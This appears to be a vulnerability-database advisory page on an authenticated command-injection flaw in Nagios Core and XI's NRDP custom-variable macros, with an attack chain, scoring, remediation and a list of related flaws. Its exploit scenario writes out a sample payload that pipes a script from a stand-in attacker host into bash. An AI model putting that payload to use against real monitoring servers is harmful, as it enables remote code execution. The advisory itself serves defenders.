Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain NRDP credentials or token
-
DeliveryCraft passive check result with injected shell payload in custom variable field
-
ExploitSubmit to NRDP endpoint over network
-
ExecutionNagios expands macro into shell-executed command string
-
PersistOS command executes as nagios process user
-
ImpactAttain full RCE on monitoring server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Three concurrent prerequisites must be met: (1) the attacker must possess valid NRDP credentials or a shared NRDP token granting write access to the monitored host or service object (CVSS PR:L); (2) at least one custom variable (e.g., $_HOSTmyvar$, $_SERVICEstatus_extra$) must be defined on the target host, service, or contact object; and (3) that specific custom variable macro must appear as an argument within a shell-executed command definition - such as an event handler, notification command, or check command that invokes a shell script. The vendor explicitly states this is a non-default configuration; Nagios installations that do not use custom variables in shell command definitions are not vulnerable. Exploitation is further bounded by the requirement for authenticated NRDP access, meaning unauthenticated internet-facing exploitation is not possible under this vulnerability. |
| Impact | The CVSS 4.0 base score of 7.7 with AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H accurately reflects the risk profile. The AT:P (Attack Requirements Present) metric is the critical moderating factor - it encodes the non-default configuration prerequisite, which meaningfully limits the real-world attack surface beyond what the high impact ratings alone suggest. Environments that do not define custom variables referenced in shell-executed commands are not vulnerable, reducing population exposure compared to a purely AC:L/PR:N finding. Authentication at the PR:L level (NRDP credential or token) provides an additional gatekeeping layer, though NRDP credentials may be broadly distributed across monitoring agents. No CISA KEV listing and no POC code are confirmed at time of analysis, so exploitation appears opportunistic or targeted rather than widespread. The combination of non-default configuration requirement, authentication prerequisite, and absence of confirmed in-the-wild exploitation suggests this is a real but non-emergency priority for most organizations - highest urgency for teams whose Nagios deployments actively use custom variables in shell command definitions. |
| Exploit ScenarioDerived | An attacker who has obtained valid NRDP credentials - whether through credential theft, brute force, or insider access - submits a crafted passive check result where a custom variable field contains shell metacharacters such as '; curl attacker.example/shell.sh | bash #'. If the receiving Nagios instance has a command definition like '/usr/local/nagios/libexec/notify.sh $_HOSTmyvar$', the macro is expanded verbatim into the shell command string and the injected payload executes as the nagios OS user. No public proof-of-concept has been identified, but the attack follows a well-understood and easily reproducible command injection pattern requiring no memory corruption or advanced exploitation primitives. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 12, 2026
Authenticated remote code execution in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) is achievable via OS command injection through custom-variable macros processed by the Nagios Remote Data Processor (NRDP). An attacker with valid NRDP access can embed shell metacharacters in a custom variable value that is later expanded inside a shell-executed command definition, causing arbitrary OS commands to run with the privileges of the Nagios process. No public exploit code or CISA KEV listing exists at time of analysis, but impact is rated high across confidentiality, integrity, and availability given full command execution on the monitoring server.
RemediationAI
The primary fix is to upgrade Nagios Core to version 4.5.13 or later and Nagios XI to version 2026R1.5 or later, per the vendor advisory at https://www.nagios.com/security-disclosures/nagios-core/. If immediate patching is not feasible, the most effective compensating control is to audit all command object definitions and remove or sanitize any that reference custom variable macros ($_HOSTxxx$, $_SERVICExxx$, $_CONTACTxxx$) within shell-executed command strings - this eliminates the injection sink at the cost of losing that monitoring customization. As a secondary control, restrict NRDP endpoint access to known trusted IP ranges via firewall ACLs or the NRDP allowed_hosts configuration, which limits who can supply attacker-controlled macro values; note this does not remove the vulnerability but raises the bar for exploitation. Review the upstream Changelog at https://github.com/NagiosEnterprises/nagioscore/blob/master/Changelog for additional patch context.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Nagios Remote Data Processor (NRDP) is a flexible data-transport mechanism that accepts passive check results, host status updates, and service data from remote agents. Nagios expands custom variable macros - identified by the $_HOSTxxx$, $_SERVICExxx$, and $_CONTACTxxx$ syntax - when constructing shell command strings for event handlers, notification commands, and check commands. When user-supplied values arriving via NRDP are placed into these macros without shell-safe quoting or sanitization, the result is passed directly to a shell interpreter, a textbook CWE-78 (Improper Neutralization of Special Elements in an OS Command) pattern. Affected products per CPE data are cpe:2.3:a:nagios_enterprises,_llc.:nagios_core and cpe:2.3:a:nagios_enterprises,_llc.:nagios_xi, covering all versions prior to the respective fixed releases.
Know when Nagios Core gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AC:H captures the non-default configuration prerequisite; PR:L reflects required NRDP authentication; full C/I/A impact from arbitrary OS command execution on the monitoring host.
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 are vulnerable to authenticated remote code execution via custom-variable macro injection through the Nagios Remote Data Processor (NRDP). When a custom variable defined on a host, service, or contact is referenced in a shell-executed command line, an authenticated attacker with NRDP access can inject OS commands through the macro value. Exploitation requires a non-default configuration in which a custom variable is defined and referenced in a shell-executed command.
Executive ViewAI
Nagios Core (versions before 4.5.13) and Nagios XI (versions before 2026R1.5) contain an authenticated remote code execution vulnerability in the NRDP module that allows valid attackers to execute arbitrary system commands with Nagios process privileges. This vulnerability directly threatens monitoring infrastructure availability and integrity-potentially blinding the organization to critical system failures and providing attackers a trusted foothold for lateral movement through your environment.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Nagios Core
View allqh_core in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to
qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to
Nagios Core 4.4.2 has XSS via the alert summary reports of plugin results, as demonstrated by a SCRIPT element delivered
Nagios Core application version 4.2.4 is vulnerable to Site-Wide Cross-Site Request Forgery (CSRF) in many functions, li
Nagios Core through 4.3.4 initially executes /usr/sbin/nagios as root but supports configuration options in which this f
Remote code execution in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows authenticated UI users to ru
Cross-site request forgery in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) allows an attacker to execute
Cross-site request forgery in Nagios Core before 4.5.12 enables remote attackers to execute arbitrary monitoring command
Cross-site request forgery protection bypass in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows unaut
Reflected cross-site scripting in Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 allows unauthenticated remote
DOM-based cross-site scripting in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows an authenticated lo
EUVD-2026-57345
GHSA-r6wg-9vj9-rm67
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB